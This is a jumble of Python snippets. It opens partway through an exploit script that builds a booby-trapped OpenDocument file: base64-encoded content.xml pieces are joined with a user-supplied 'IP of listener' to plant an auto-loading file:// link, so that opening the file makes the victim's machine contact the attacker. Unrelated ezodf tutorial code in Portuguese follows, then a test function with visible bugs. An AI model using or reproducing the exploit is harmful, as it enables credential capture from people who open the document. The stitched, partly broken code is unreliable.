jZS5vcmcvMjAwNC93cml0ZXIiIHhtbG5zOm9vb2M9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA0L2NhbGMiIHhtbG5zOmRvbT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS94bWwtZXZlbnRzIiB4bWxuczp4Zm9ybXM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDIveGZvcm1zIiB4bWxuczp4c2Q9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hIiB4bWxuczp4c2k9Imh0dHA6Ly93d3cudzMub3JnLzIwMDEvWE1MU2NoZW1hLWluc3RhbmNlIiB4bWxuczpycHQ9Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA1L3JlcG9ydCIgeG1sbnM6b2Y9InVybjpvYXNpczpuYW1lczp0YzpvcGVuZG9jdW1lbnQ6eG1sbnM6b2Y6MS4yIiB4bWxuczp4aHRtbD0iaHR0cDovL3d3dy53My5vcmcvMTk5OS94aHRtbCIgeG1sbnM6Z3JkZGw9Imh0dHA6Ly93d3cudzMub3JnLzIwMDMvZy9kYXRhLXZpZXcjIiB4bWxuczpvZmZpY2Vvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L29mZmljZSIgeG1sbnM6dGFibGVvb289Imh0dHA6Ly9vcGVub2ZmaWNlLm9yZy8yMDA5L3RhYmxlIiB4bWxuczpkcmF3b29vPSJodHRwOi8vb3Blbm9mZmljZS5vcmcvMjAxMC9kcmF3IiB4bWxuczpjYWxjZXh0PSJ1cm46b3JnOmRvY3VtZW50Zm91bmRhdGlvbjpuYW1lczpleHBlcmltZW50YWw6Y2FsYzp4bWxuczpjYWxjZXh0OjEuMCIgeG1sbnM6bG9leHQ9InVybjpvcmc6ZG9jdW1lbnRmb3VuZGF0aW9uOm5hbWVzOmV4cGVyaW1lbnRhbDpvZmZpY2U6eG1sbnM6bG9leHQ6MS4wIiB4bWxuczpmaWVsZD0idXJuOm9wZW5vZmZpY2U6bmFtZXM6ZXhwZXJpbWVudGFsOm9vby1tcy1pbnRlcm9wOnhtbG5zOmZpZWxkOjEuMCIgeG1sbnM6Zm9ybXg9InVybjpvcGVub2ZmaWNlOm5hbWVzOmV4cGVyaW1lbnRhbDpvb3htbC1vZGYtaW50ZXJvcDp4bWxuczpmb3JtOjEuMCIgeG1sbnM6Y3NzM3Q9Imh0dHA6Ly93d3cudzMub3JnL1RSL2NzczMtdGV4dC8iIG9mZmljZTp2ZXJzaW9uPSIxLjIiPjxvZmZpY2U6c2NyaXB0cy8+PG9mZmljZTpmb250LWZhY2UtZGVjbHM+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FuczEiIHN2Zzpmb250LWZhbWlseT0iJmFwb3M7THVjaWRhIFNhbnMmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InN3aXNzIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMaWJlcmF0aW9uIFNlcmlmIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2VyaWYmYXBvczsiIHN0eWxlOmZvbnQtZmFtaWx5LWdlbmVyaWM9InJvbWFuIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTGliZXJhdGlvbiBTYW5zIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO0xpYmVyYXRpb24gU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3dpc3MiIHN0eWxlOmZvbnQtcGl0Y2g9InZhcmlhYmxlIi8+PHN0eWxlOmZvbnQtZmFjZSBzdHlsZTpuYW1lPSJMdWNpZGEgU2FucyIgc3ZnOmZvbnQtZmFtaWx5PSImYXBvcztMdWNpZGEgU2FucyZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iTWljcm9zb2Z0IFlhSGVpIiBzdmc6Zm9udC1mYW1pbHk9IiZhcG9zO01pY3Jvc29mdCBZYUhlaSZhcG9zOyIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjxzdHlsZTpmb250LWZhY2Ugc3R5bGU6bmFtZT0iU2ltU3VuIiBzdmc6Zm9udC1mYW1pbHk9IlNpbVN1biIgc3R5bGU6Zm9udC1mYW1pbHktZ2VuZXJpYz0ic3lzdGVtIiBzdHlsZTpmb250LXBpdGNoPSJ2YXJpYWJsZSIvPjwvb2ZmaWNlOmZvbnQtZmFjZS1kZWNscz48b2ZmaWNlOmF1dG9tYXRpYy1zdHlsZXM+PHN0eWxlOnN0eWxlIHN0eWxlOm5hbWU9ImZyMSIgc3R5bGU6ZmFtaWx5PSJncmFwaGljIiBzdHlsZTpwYXJlbnQtc3R5bGUtbmFtZT0iT0xFIj48c3R5bGU6Z3JhcGhpYy1wcm9wZXJ0aWVzIHN0eWxlOmhvcml6b250YWwtcG9zPSJjZW50ZXIiIHN0eWxlOmhvcml6b250YWwtcmVsPSJwYXJhZ3JhcGgiIGRyYXc6b2xlLWRyYXctYXNwZWN0PSIxIi8+PC9zdHlsZTpzdHlsZT48L29mZmljZTphdXRvbWF0aWMtc3R5bGVzPjxvZmZpY2U6Ym9keT48b2ZmaWNlOnRleHQ+PHRleHQ6c2VxdWVuY2UtZGVjbHM+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJJbGx1c3RyYXRpb24iLz48dGV4dDpzZXF1ZW5jZS1kZWNsIHRleHQ6ZGlzcGxheS1vdXRsaW5lLWxldmVsPSIwIiB0ZXh0Om5hbWU9IlRhYmxlIi8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJUZXh0Ii8+PHRleHQ6c2VxdWVuY2UtZGVjbCB0ZXh0OmRpc3BsYXktb3V0bGluZS1sZXZlbD0iMCIgdGV4dDpuYW1lPSJEcmF3aW5nIi8+PC90ZXh0OnNlcXVlbmNlLWRlY2xzPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCIvPjx0ZXh0OnAgdGV4dDpzdHlsZS1uYW1lPSJTdGFuZGFyZCI+PGRyYXc6ZnJhbWUgZHJhdzpzdHlsZS1uYW1lPSJmcjEiIGRyYXc6bmFtZT0iT2JqZWN0MSIgdGV4dDphbmNob3ItdHlwZT0icGFyYWdyYXBoIiBzdmc6d2lkdGg9IjE0LjEwMWNtIiBzdmc6aGVpZ2h0PSI5Ljk5OWNtIiBkcmF3OnotaW5kZXg9IjAiPjxkcmF3Om9iamVjdCB4bGluazpocmVmPSJmaWxlOi8v" contentxml2=raw_input("\nPlease enter IP of listener: ") contentxml3="L3Rlc3QuanBnIiB4bGluazp0eXBlPSJzaW1wbGUiIHhsaW5rOnNob3c9ImVtYmVkIiB4bGluazphY3R1YXRlPSJvbkxvYWQiLz48ZHJhdzppbWFnZSB4bGluazpocmVmPSIuL09iamVjdFJlcGxhY2VtZW50cy9PYmplY3QgMSIgeGxpbms6dHlwZT0ic2ltcGxlIiB4bGluazpzaG93PSJlbWJlZCIgeGxpbms6YWN0dWF0ZT0ib25Mb2FkIi8+PC9kcmF3OmZyYW1lPjwvdGV4dDpwPjwvb2ZmaWNlOnRleHQ+PC9vZmZpY2U6Ym9keT48L29mZmljZTpkb2N1bWVudC1jb250ZW50Pg==" fileout=base64.b64decode(contentxml1)+contentxml2+base64.b64decode(contentxml3) text_file = open("content.xml", "w") text_file.write(fileout) text_file.close() #Create a copy of the blank odt file without the content.xml file in (odt files are basically a zip) zin = zipfile.ZipFile ('temp.odt', 'r')
import ezodf from ezodf import Paragraph # Criando um documento novo documento = ezodf.newdoc(doctype="odt", filename="arquivonovo.odt", template=None) # Adicionando um parágrafo e armazenando o objeto na variável p1 p1 = documento.body.append(Paragraph('Meu terceiro parágrafo.')) # Adicionando um parágrafo antes do parágrafo p1 documento.body.insert_before(p1, Paragraph('Meu segundo parágrafo.')) # inserindo um parágrafo passando o índice 0, ele vai ser inserido no # início do documento documento.body.insert(0, Paragraph('Meu primeiro parágrafo.')) # Salvando o documento documento.save()
def test(): ods = newdoc(doctype='ods', filname='test.ods') sheet1 = Sheet('sheet1') ods.sheets += sheet1 sheet['A1'].set_value("Test") ods.save()